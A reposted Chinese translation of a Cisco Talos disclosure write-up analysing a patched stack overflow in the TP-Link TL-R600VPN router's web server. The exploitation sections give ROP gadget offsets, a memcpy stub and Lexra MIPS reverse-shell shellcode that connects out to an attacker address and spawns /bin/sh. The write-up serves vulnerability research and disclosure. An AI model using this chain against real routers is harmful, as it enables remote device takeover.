深入分析TP-Link TL-R600VPN远程代码执行漏洞

发表于 2019-01-24  201 次阅读


导语:TP-Link最近修复了TL-R600VPN千兆宽带VPN路由器中的3个漏洞。在与TP-Link合作确保补丁成功发布之后,Cisco Talos公开披露了这些漏洞。目前,已经发布了解决方案,因此我们希望能深入研究这些漏洞的内部工作方式,并展示出我们的概念证明

一、概述

TP-Link最近修复了TL-R600VPN千兆宽带VPN路由器中的3个漏洞,固件版本为1.3.0。在与TP-Link合作确保补丁成功发布之后,Cisco Talos公开披露了这些漏洞。目前,已经发布了解决方案,因此我们希望能深入研究这些漏洞的内部工作方式,并展示出我们的概念证明。

二、背景

TP-Link TL-R600VPN是一款五端口的小型办公室/家庭路由器。该路由器在芯片上集成了Realtek RTL8198集成系统。这个特殊的芯片使用了Lexra开发的MIPS-1架构的分支。除了处理器未对齐加载(Unaligned Load)和存储操作中使用了一些专有指令外,这两个指令集基本相同。在Lexra中未包含的说明包括LWL、SWL、LWR和SWR。这些专有指令通常在更为常见的MIPS-1架构编译程序时使用,如果在Lexra中出现则将会导致段错误(Segfault)。针对这一路由器,要有针对性地开发出漏洞利用代码,必须要首先了解这一关键性的差异。

要了解更多有关Lexra MIPS的知识,以及它与MIPS-1架构的不同之处,请参阅《Lexra的故事》《MIPS-1专利申请》

三、侦查阶段

3.1 了解漏洞

在该设备HTTP服务器处理对/fs/目录请求的过程中,存在一个漏洞,允许经过身份验证的攻击者远程执行设备上的代码。

在访问/fs/目录中的下述任意页面时,应用程序会错误地解析传递的HTTP头部。

http://<router_ip>/fs/help
http://<router_ip>/fs/images
http://<router_ip>/fs/frames
http://<router_ip>/fs/dynaform
http://<router_ip>/fs/localiztion(请注意,这里不是拼写错误)

在函数httpGetMimeTypeByFileName中,Web服务器尝试解析所请求页面的文件扩展名,以确定其Mime类型。在这一处理过程中,服务器使用strlen()调用来确定所请求页面名称的长度,并寻找该堆分配字符串(Heap-allocated String)的末尾,并向后读取文件扩展名,直到遇到句点(0x2e)。

#
# calculates the length of the uri and seeks to the end
#
LOAD:00425CDC loc_425CDC:
LOAD:00425CDC                 la      $t9, strlen
LOAD:00425CE0                 sw      $zero, 0x38+var_20($sp)
LOAD:00425CE4                 jalr    $t9 ; strlen
LOAD:00425CE8                 sh      $zero, 0x38+var_1C($sp)
LOAD:00425CEC                 addu    $s0, $v0
 
 
# looks for a period at the current index and break out when found
LOAD:00425CF0                 li      $v0, 0x2E                        
LOAD:00425CF4                 lbu     $v1, 0($s0)
LOAD:00425CF8                 lw      $gp, 0x38+var_28($sp)
LOAD:00425CFC                 beq     $v1, $v0, loc_425D14
LOAD:00425D00                 li      $v1, 0b101110
LOAD:00425D04
 
 
# loop backwards until a period is found, loading the character into $s0
LOAD:00425D04 loc_425D04:                                                
LOAD:00425D04                 addiu   $s0, -1
LOAD:00425D08                 lbu     $v0, 0($s0)                       
LOAD:00425D0C                 bne     $v0, $v1, loc_425D04
LOAD:00425D10                 nop

在请求的页面上,应该始终包含一个扩展名,以防止产生易受攻击的漏洞。这一点,可以在下面针对费恶意页面/web/dynaform/css_main.css的GDB字符串输出中看到,其中将解析文件扩展名“css”。

0x67a170:        "/web/dynaform/css_main.css"
0x67a18b:        "46YWRtaW4="
0x67a196:        "\nConnection: close\r\n\r\nWRtaW4=\r\nConnection: close\r\n\r\n6YWRtaW4=\r\nConnection: close\r\n\r\n46YWRtaW4=\r\nConnection: close\r\n\r\ntaW4=\r\nConnection: close\r\n\r\n http://192.168.0.1/\r\nAuthorization: Basic YWRtaW46YWRt"...
0x67a25e:        "aW4=\r\nConnection: close\r\n\r\nnnection: close\r\n\r\n"
0x67a28d:        ""
0x67a28e:        ""
0x67a28f:        ""
0x67a290:        ""

但是,如果我们请求其中一个易受攻击的页面,我们可以看到解析的URI不包含句点(0x2e)。因此,应用程序将会继续向后搜索,直到达到一定时间。在这种情况下,在解析的URI和早先存储在堆上的原始GET请求数据之间(如下面的地址0x679960所示),没有一段时间能让我们向后搜索我们的Payload。这一点,可以在下面针对恶意页面/fs/help的GDB字符串输出的地址0x67a170处看到,其中并没有解析文件的扩展名。

...
0x679960:        "/fs/help"
0x679969:        "elp"
0x67996d:        "HTTP/1.1"
0x679976:        "\n"
0x679978:        "ost: 192.168.0.1\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q"...
0x679a40:        "=0.5\r\nAccept-Encoding: gzip, deflate\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n\r\n"                                                   
0x679ac1:        ""
0x679ac2:        ""
0x679ac3:        ""
0x679ac4:        ""
0x679ac5:        ""
...
0x67a165:        "gp"
0x67a169:        ""
0x67a16a:        "\b"
0x67a16c:        ""
0x67a16d:        ""
0x67a16e:        ""
0x67a16f:        ""
0x67a170:        "/web/help"
0x67a17a:        "secure-Requests"
0x67a18a:        " 1"
0x67a18d:        "\n\r\nure-Requests: 1\r\n\r\nclose\r\nUpgrade-Insecure-Requests: 1\r\n\r\nUpgrade-Insecure-Requests: 1\r\n\r\n\nUpgrade-Insecure-Requests: 1\r\n\r\nsic YWRtaW46YWRtaW4=\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n\r\na"...
0x67a255:        "tion: Basic YWRtaW46YWRtaW4=\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n\r\nure-Requests: 1\r\n\r\n"
0x67a2ba:        ""
0x67a2bb:        ""
0x67a2bc:        ""
...

当遇到句点时,在预期的文件扩展名或存在漏洞的情况下,提取的字符串将逐字节地由toUpper()函数处理,然后通过存储字节指令,将该操作的结果写入基于栈的缓冲区。我们可以从上述循环中提取的指令看出,具体如下。

#
# 通过$s0寄存器的存储字节调用,将解析后的数据加载到栈中
#
LOAD:00425D20 loc_425D20:
LOAD:00425D20                 lbu     $a0, 0($a0)
 
 
# 尽可能返回字符的大写形式
LOAD:00425D24                 jalr    $t9 ; toUpper                     
LOAD:00425D28                 nop
 
 
# $gp引用$s2,栈缓冲区中下一个char的位置
LOAD:00425D2C                 lw      $gp, 0x38+var_28($sp)
            
# 将字符存储到$s2中
LOAD:00425D30                 sb      $v0, 0($s2)                       
LOAD:00425D34
 
 
# 计算整个用户提供字符串的长度
LOAD:00425D34 loc_425D34:
LOAD:00425D34                 la      $t9, strlen
LOAD:00425D38                 jalr    $t9 ; strlen 
                    
# 将指向解析数据的指针放入arg0
LOAD:00425D3C                 move    $a0, $s0                          
LOAD:00425D40                 addiu   $v1, $sp, 0x38+var_20
LOAD:00425D44                 lw      $gp, 0x38+var_28($sp)
LOAD:00425D48                 sltu    $v0, $s1, $v0
LOAD:00425D4C                 addu    $a0, $s0, $s1
LOAD:00425D50                 addu    $s2, $v1, $s1
LOAD:00425D54                 la      $t9, toupper

程序继续执行,直到它到达httpGetMimeTypeByFileName函数结尾,其中返回地址和五个寄存器都从它们在栈中保存的值来加载。当漏洞被利用时,这些保存的值将会被精心构造的数据覆盖,从而包含Gadget的地址,我们将在后面详细分析。

#
# 寄存器会被栈中保存的值覆盖
#
LOAD:00425DB4 loc_425DB4:
LOAD:00425DB4
LOAD:00425DB4                 lw      $ra, 0x38+var_4($sp)
LOAD:00425DB8                 lw      $s4, 0x38+var_8($sp)
LOAD:00425DBC                 lw      $s3, 0x38+var_C($sp)
LOAD:00425DC0                 lw      $s2, 0x38+var_10($sp)
LOAD:00425DC4                 lw      $s1, 0x38+var_14($sp)
LOAD:00425DC8                 lw      $s0, 0x38+var_18($sp)
LOAD:00425DCC                 jr      $ra                               
LOAD:00425DD0                 addiu   $sp, 0x38
LOAD:00425DD0  # httpGetMimeTypeByFileName函数结束

在函数结束的地方,将数据复制到缓冲区的循环已经覆盖了栈上的原始数据。通过弹出(POP)栈中数据,程序可以保证未被修改,用户获得对返回地址的控制。这也就意味着,用户能够在HTTPD进程的上下文中远程执行代码。

3.2 toUpper()过滤器

在HTTP头部的初始解析期间,设备会迭代每个字节,搜索句点(0x2e)并构建缓冲区。在遇到句点后,缓冲区将传递给toUpper()调用,将缓冲区中的每个ASCII字符转换为相对应的大写字符。

LOAD:00425D20 loc_425D20:
LOAD:00425D20                 lbu     $a0, 0($a0)
# returns an upper case version of the character where possible
LOAD:00425D24                 jalr    $t9 ; toUpper                     
LOAD:00425D28                 nop

这在尝试通过HTTP头部发送ShellCode时会产生问题,因为无法避免使用toUpper()调用,所以也就无法使用任何小写字符。例如,请参考下面的GET请求。

GET /fs/help HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Content-Length: 2
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Length: 4

我们在执行httpGetMimeTypeByFileName函数结束的最后一次跳转之前查看寄存器,可以看到头部中的“a”字符(0x61)已经转换为对应的大写形式(0x41)。

(GDB) i r
 
i r
 
          zero       at       v0       v1       a0       a1       a2       a3
 
 R0   00000000 10000400 00514004 00000035 7dfff821 0051432d 01010101 80808080
 
            t0       t1       t2       t3       t4       t5       t6       t7
 
 R8   00000002 fffffffe 00000000 00000006 19999999 00000000 00000057 00425d2c
 
            s0       s1       s2       s3       s4       s5       s6       s7
 
 R16  41414141 41414141 41414141 41414141 41414141 006798f4 006798d0 00000000
 
            t8       t9       k0       k1       gp       sp       s8       ra
 
 R24  00000132 2ab02820 00000000 00000000 00598790 7dfff808 7dfffa62 41414141
 
        status       lo       hi badvaddr    cause       pc
      0000040c 00059cf8 000001fa 00590cac 00000024 00425dcc
(GDB)

四、整理思路

我们对上面获得的寄存器内容进行检查,发现在toUpper()调用之后,留下了一个可以预测的、接近原始头部数据位置的指针。

尽管打断了httpGetMimeTypeByFileName函数结尾的最后一次跳转,但我们可以检查栈中的数据。我们发现,大写形式的头部数据的一部分(包含Payload)目前存储在栈中。

(GDB) x/32s $sp
x/32s $sp
0x7dfff808:      ""
0x7dfff809:      ""
...
0x7dfff81f:      ""
0x7dfff820:      "5\r\n", 'A' <repeats 197 times>...
0x7dfff8e8:      'A' <repeats 200 times>...
0x7dfff9b0:      'A' <repeats 200 times>...
0x7dfffa78:      'A' <repeats 200 times>...
0x7dfffb40:      'A' <repeats 143 times>, "\r\nCONTENT-LENGTH: 0\r\nACCEPT-ENCODING: GZIP, DEFLATE\r\nAUTH"...
0x7dfffc08:      "ORIZATION: BASIC YWRTAW46YWRTAW4=\r\nCONNECTION: KEEP-ALIVE\r\nUPGRADE-INSECURE-REQUESTS: 1\r\nCONTENT-LENGTH: 0\r\n\r\n"
0x7dfffc77:      ""
0x7dfffc78:      ""
0x7dfffc79:      ""
...
(GDB)

相反,如果我们检查寄存器$s5指向位置之后的数据,我们会看到原始头部数据仍然可以访问。

(GDB) x/32s $s5+0x64
x/32s $s5+0x64
0x679958:        ""
0x679959:        ""
...
0x67995f:        ""
0x679960:        "/fs/help"
0x679969:        "elp"
0x67996d:        "HTTP/1.1"
0x679976:        "\n"
0x679978:        "ost: 192.168.0.1\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q"...
0x679a40:        "=0.5\r\n", 'a' <repeats 194 times>...
0x679b08:        'a' <repeats 200 times>...
0x679bd0:        'a' <repeats 200 times>...
0x679c98:        'a' <repeats 200 times>...
0x679d60:        'a' <repeats 146 times>, "\r\nContent-Length: 0\r\nAccept-Encoding: gzip, deflate\r\nA"...
0x679e28:        "uthorization: Basic YWRtaW46YWRtaW4=\r\nConnection: keep-alive\r\nUpgrade-Insecure-Requests: 1\r\nContent-Length: 0\r\n\r\n"
0x679e9a:        ""
0x679e9b:        ""
...
(GDB)

我们检查该部分内存的权限,发现这一部分是可以执行的。因此,初步考虑直接跳转到原始头部。

# cat /proc/12518/maps
cat /proc/12518/maps
00400000-00538000 r-xp 00000000 1f:02 69         /usr/bin/httpd
00578000-00594000 rw-p 00138000 1f:02 69         /usr/bin/httpd
00594000-006a6000 rwxp 00000000 00:00 0          [heap]
2aaa8000-2aaad000 r-xp 00000000 1f:02 359        /lib/ld-uClibc-0.9.30.so
2aaad000-2aaae000 rw-p 00000000 00:00 0
2aaae000-2aab2000 rw-s 00000000 00:06 0          /SYSV0000002f (deleted)
2aaec000-2aaed000 r--p 00004000 1f:02 359        /lib/ld-uClibc-0.9.30.so
...
7f401000-7f600000 rwxp 00000000 00:00 0
7fcf7000-7fd0c000 rwxp 00000000 00:00 0          [stack]

由于toUpper()和早期strcmp()引入的限制,我们最终发现这并不是一个有价值的漏洞利用路径。toUpper()的使用为我们创造了一个条件,其中的任何小写字母都必须被视为是“坏”字符。另外,由于我们的数据要通过strcmp()调用,所以我们不能使用任何空字节。总而言之,上述这些调用使我们无法使用0x00和0x61-0x7a之间的字节。

五、漏洞利用

5.1 绕过toUpper()

为了解决toUpper()带来的问题,我们创建了一小段调用memcpy()的代码,它在获得$ra的控制权之后,不使用任何小写字符或空字节来执行。使用此代码,我们能够以原始形式将头部数据复制到栈中,并跳转到相应位置,从而实现执行。

move    $a0, $t9         # put the stack pointer into arg1
addiu   $a0, 0x12C       # increase arg1 so we don’t overwrite this code
addiu   $a1, $s5, 0x198  # load the raw header data pointer into arg2
li      $a2, 0x374       # load the size into arg3
li      $t9, 0x2AB01E20  # load $t9 with the address of memcpy()
jalr    $t9              # call memcpy()
move    $t8, $t3         # placeholder to handle delay slot without nulls
move    $t9, $sp         # prep $t9 with the stack pointer
addiu   $t9, 0x14C       # increase the $t9 pointer to the raw header
jalr    $t9              # execute the raw header on the stack
move    $t8, $t3         # placeholder to handle delay slot without nulls

在我们使用这种技术之前,我们需要找到一种方法来获取memcpy()代码的执行。很幸运,我们已经在这个设备上找到了一个可执行的栈,但是我们还不清楚代码最终会在哪里。最后,我们使用了一种改进后的ret2libc技术,允许我们利用uClibc中的Gadget,来获取栈的指针,并为我们的代码设置寄存器。

我们的第一个Gadget位于uClibc偏移地址0x0002fc84的位置,用于将栈指针递增0x20,以超过任何memcpy ShellCode。为了确保在这个Gadget返回后保留对程序执行的控制,我们将第二个Gadget的地址放在了0x20+$sp的位置,如下所示。

LOAD:0002FC84                 lw      $ra, 0x20+var_8($sp)
LOAD:0002FC88                 jr      $ra
LOAD:0002FC8C                 addiu   $sp, 0x20

位于uClibc偏移地址0x000155b0的第二个Gadget用于获取指向递增栈缓冲区的指针。这会将所需的指针放入到寄存器$a1中。我们将第三个Gadget的地址放在0x58+$sp的位置,以确保在返回这个Gadget后能够保留对程序执行的控制,如下所示。

LOAD:000155B0                 addiu   $a1, $sp, 0x58+var_40
LOAD:000155B4                 lw      $gp, 0x58+var_48($sp)
LOAD:000155B8                 sltiu   $v0, 1
LOAD:000155BC                 lw      $ra, 0x58+var_8($sp)
LOAD:000155C0                 jr      $ra
LOAD:000155C4                 addiu   $sp, 0x58

最后,位于uClibc偏移地址0x000172fc的Gadget用于跳转到栈缓冲区。

LOAD:000172FC                 move    $t9, $a1
LOAD:00017300                 move    $a1, $a2
LOAD:00017304                 sw      $v0, 0x4C($a0)
LOAD:00017308                 jr      $t9
LOAD:0001730C                 addiu   $a0, 0x4C  # 'L'

我们需要获取uClibc的加载位置,以便我们可以计算出能够成功使用这些Gadget的真实位置。查看下面的进程内存映射,我们就可以看到可执行版本的uClibc加载到地址0x2aaee000。

# cat /proc/12518/maps
cat /proc/12518/maps
00400000-00538000 r-xp 00000000 1f:02 69         /usr/bin/httpd
00578000-00594000 rw-p 00138000 1f:02 69         /usr/bin/httpd
00594000-006a6000 rwxp 00000000 00:00 0          [heap]
2aaa8000-2aaad000 r-xp 00000000 1f:02 359        /lib/ld-uClibc-0.9.30.so
2aaad000-2aaae000 rw-p 00000000 00:00 0
2aaae000-2aab2000 rw-s 00000000 00:06 0          /SYSV0000002f (deleted)
2aaec000-2aaed000 r--p 00004000 1f:02 359        /lib/ld-uClibc-0.9.30.so
2aaed000-2aaee000 rw-p 00005000 1f:02 359        /lib/ld-uClibc-0.9.30.so
2aaee000-2ab21000 r-xp 00000000 1f:02 363        /lib/libuClibc-0.9.30.so
2ab21000-2ab61000 ---p 00000000 00:00 0
2ab61000-2ab62000 rw-p 00033000 1f:02 363        /lib/libuClibc-0.9.30.so
2ab62000-2ab66000 rw-p 00000000 00:00 0
2ab66000-2ab68000 r-xp 00000000 1f:02 349        /lib/librt-0.9.30.so
2ab68000-2aba7000 ---p 00000000 00:00 0
...
7f001000-7f200000 rwxp 00000000 00:00 0
7f200000-7f201000 ---p 00000000 00:00 0
7f201000-7f400000 rwxp 00000000 00:00 0
7f400000-7f401000 ---p 00000000 00:00 0
7f401000-7f600000 rwxp 00000000 00:00 0
7fcf7000-7fd0c000 rwxp 00000000 00:00 0          [stack]

通过获取uClibc的加载地址,并将其添加到为每个Gadget获得的偏移地址,我们就可以获得所需代码的可用地址。然后,可以策略性地放置在这些地址,从而导致执行我们的初始代码,随后执行我们的Payload。

5.2 LexraMIPS ShellCode

虽然LexraMIPS基于MIPS规范,但在尝试执行某些标准MIPS指令时,它确实存在偏差,从而导致不一致的问题。因此,我们选择使用GCC工具链(http://nonmips.sourceforge.net/),专门为LexraMIPS开发ShellCode。下面的代码采用创建与攻击者的连接的方式,将stdin、stdout和stderr复制到套接字文件描述符中,最后生成一个Shell。

我们首先在设备上打开一个套接字,然后利用特定的技术,避免$t7寄存器上出现任何空字节。应该注意,MIPS $zero寄存器在使用过程中不包含任何的空字节。

li $t7, -6           # set up $t7 with the value 0xfffffffa
nor $t7, $t7, $zero  # nor $t7 with zero to get the value 0x05 w/o nulls
addi $a0, $t7, -3    # $a0 must hold family (AF_INET - 0x02)
addi $a1, $t7, -3    # $a1 must hold type (SOCK_STREAM - 0x02)
slti $a2, $zero, -1  # $a2 must hold protocol (essentially unset - 0x00)
li $v0, 4183         # sets the desired syscall to 'socket'
syscall 0x40404      # triggers a syscall, removing null bytes

打开套接字后,我们使用一个connect系统调用,创建从设备到攻击者服务器的TCP连接。在这里,空字节是一个问题,因为在设备的默认子网中就包含0。为了解决这一问题,我们采用了一种技术,强制特定的寄存器值溢出,并产生所需的IP地址,从而避免使用空字节。

sw $v0, -36($sp)     # puts the returned socket reference onto the stack
lw $a0, -36($sp)     # $a0 must hold the file descriptor - pulled from the stack
sw $a1, -32($sp)     # place socket type (SOCK_STREAM - 0x02) onto the stack
lui $t7, 8888        # prep the upper half of $t7 register with the port number
ori $t7, $t7, 8888   # or the $t7 register with the desired port number
sw $t7, -28($sp)     # place the port onto the stack
lui $t7, 0xc0a7      # put the first half of the ip addr into $t7 (192.166)
ori $t7, 0xff63      # put the second half of the ip addr into $t7 (255.99)
addiu $t7, 0x101     # fix the ip addr (192.166.255.99 --> 192.168.0.100)
sw $t7, -26($sp)     # put the ip address onto the stack
addiu $a1, $sp, -30  # put a pointer to the sockaddr struct into $a1
li $t7, -17          # load 0xffef into $t7 for later processing
nor $a2, $t7, $zero  # $a2 must hold the address length - 0x10
li $v0, 4170         # sets the desired syscall to 'connect'
syscall 0x40404      # triggers a syscall, removing null bytes

要确保设备能接受我们的输入,并正确显示任何输出,我们必须复制stdin、stdout和stderr文件描述符。通过将每个I/O文件描述符复制到套接字中,我们成功的为设备提供了输入,并通过刚刚设置的连接来查看任何输出内容。

lw $t7, -32($sp)     # load $t7 for later file descriptor processing
lw $a0, -36($sp)     # put the socket fd into $a0
lw $a1, -32($sp)     # put the stderr fd into $a1
li $v0, 4063         # sets the desired syscall to 'dup2'
syscall 0x40404      # triggers a syscall, removing null bytes
lw $t7, -32($sp)     # load $t7 for later file descriptor processing
lw $a0, -36($sp)     # put the socket fd into $a0
addi $a1, $t7, -1    # put the stdout fd into $a1
li $v0, 4063         # sets the desired syscall to 'dup2'
syscall 0x40404      # triggers a syscall, removing null bytes
lw $t7, -32($sp)     # load $t7 for later file descriptor processing
lw $a0, -36($sp)     # put the socket fd into $a0
addi $a1, $t7, -2    # put the stdin syscall into $a1
li $v0, 4063         # sets the desired syscall to 'dup2'
syscall 0x40404      # triggers a syscall, removing null bytes

最后,我们使用execve系统调用,在设备本地生成Shell。由于这个Shell是从我们的套接字生成的,并且此时已经控制了stdin、stdout和stderr,因此我们可以通过连接,来远程控制新的Shell。

lui $t7, 0x2f2f      # start building the command string    --> //
ori $t7, $t7, 0x6269 # continue building the command string --> bi
sw $t7, -20($sp)     # put the string so far onto the stack
lui $t7, 0x6e2f      # continue building the command string --> n/
ori $t7, $t7, 0x7368 # continue building the command string --> sh
sw $t7, -16($sp)     # put the next portion of the string onto the stack
sw $zero, -12($sp)   # null terminate the command string
addiu $a0, $sp, -20  # place a pointer to the command string into arg 1
sw $a0, -8($sp)      # place a pointer to the command string array onto the stack
sw $zero, -4($sp)    # null terminate the array
addiu $a1, $sp, -8   # load the pointer to our command string array into arg 2
slti $a2, $zero, -1  # sets $a2 to 0
li $v0, 4011         # sets the desired syscall to 'execve'
syscall 0x40404      # triggers a syscall, removing null bytes

通过设备上的功能性Shell,我们就可以继续对设备进行后漏洞利用(Post-Exploitation)分析。

六、总结

本文中所描述的漏洞类型,在很多物联网设备中都非常常见。攻击者可以发现这些漏洞,并对它们进行武器化,从而在存在漏洞的设备上执行代码。我们必须意识到,物联网设备的本质其实是计算机,并且如同常规的计算机那样,必须维护物联网设备的软件更新,以确保设备尽可能安全。

Talos团队将持续发现漏洞,并进行负责任的披露,与厂商密切合作以确保客户能受到保护,并在必要时提供额外的深度分析。通过披露这些0-Day漏洞,有助于提高人们日常使用的设备和软件的整体安全性。Talos将致力于这项工作,寻找可能被恶意攻击者利用的漏洞或缺陷。

本文转载自:深入分析TP-Link TL-R600VPN远程代码执行漏洞 - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com http://www.4hou.com/vulnerable/15819.html

本站文章基于国际协议BY-NA-SA 4.0协议共享;
如未特殊说明,本站文章皆为原创文章,请规范转载。

0

Follow my heart. Ожидающий вас.